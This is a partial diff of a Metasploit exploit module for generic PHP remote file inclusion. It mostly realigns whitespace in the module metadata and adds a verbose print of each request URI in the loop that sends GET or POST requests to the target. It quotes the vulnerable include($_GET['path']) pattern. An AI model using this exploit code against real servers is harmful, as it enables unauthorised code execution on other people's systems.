@@ -16,36 +16,36 @@ class Metasploit3 < Msf::Exploit::Remote
16
16
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
- 'Name' => 'PHP Remote File Include Generic Code Execution' ,
20
- 'Description' => %q{
19
+ 'Name' => 'PHP Remote File Include Generic Code Execution' ,
20
+ 'Description' => %q{
21
21
This module can be used to exploit any generic PHP file include vulnerability,
22
22
where the application includes code like the following:
23
23
24
24
<?php include($_GET['path']); ?>
25
25
} ,
26
- 'Author' => [ 'hdm' , 'egypt' , 'ethicalhack3r' ] ,
27
- 'License' => MSF_LICENSE ,
28
- #'References' => [ ],
29
- 'Privileged' => false ,
30
- 'Payload' =>
26
+ 'Author' => [ 'hdm' , 'egypt' , 'ethicalhack3r' ] ,
27
+ 'License' => MSF_LICENSE ,
28
+ #'References' => [ ],
29
+ 'Privileged' => false ,
30
+ 'Payload' =>
31
31
{
32
32
'DisableNops' => true ,
33
- 'Compat' =>
33
+ 'Compat' =>
34
34
{
35
35
'ConnectionType' => 'find' ,
36
36
} ,
37
37
# Arbitrary big number. The payload gets sent as an HTTP
38
38
# response body, so really it's unlimited
39
- 'Space' => 262144 , # 256k
39
+ 'Space' => 262144 , # 256k
40
40
} ,
41
41
'DefaultOptions' =>
42
42
{
43
43
'WfsDelay' => 30
44
44
} ,
45
45
'DisclosureDate' => 'Dec 17 2006' ,
46
- 'Platform' => 'php' ,
47
- 'Arch' => ARCH_PHP ,
48
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
46
+ 'Platform' => 'php' ,
47
+ 'Arch' => ARCH_PHP ,
48
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
49
49
'DefaultTarget' => 0 ) )
50
50
51
51
register_options ( [
@@ -86,6 +86,9 @@ def datastore_headers
86
86
end
87
87
88
88
def php_exploit
89
+ # Set verbosity level
90
+ verbose = datastore [ 'VERBOSE' ] . to_s . downcase
91
+
89
92
uris = [ ]
90
93
91
94
tpath = normalize_uri ( datastore [ 'PATH' ] )
@@ -128,21 +131,21 @@ def php_exploit
128
131
uris . each do |uri |
129
132
break if session_created?
130
133
131
- # print_status("Sending #{tpath+uri}")
134
+ print_status ( "Sending: #{ rhost + tpath +uri } " ) if verbose == "true"
132
135
begin
133
136
if http_method == "GET"
134
137
response = send_request_raw ( {
135
138
'global' => true ,
136
- 'uri' => tpath +uri ,
139
+ 'uri' => tpath +uri ,
137
140
'headers' => datastore_headers ,
138
141
} , timeout )
139
142
elsif http_method == "POST"
140
143
response = send_request_raw (
141
144
{
142
145
'global' => true ,
143
- 'uri' => tpath +uri ,
146
+ 'uri' => tpath +uri ,
144
147
'method' => http_method ,
145
- 'data' => postdata ,
148
+ 'data' => postdata ,
146
149
'headers' => datastore_headers . merge ( {
147
150
'Content-Type' => 'application/x-www-form-urlencoded' ,
148
151
'Content-Length' => postdata . length
0 commit comments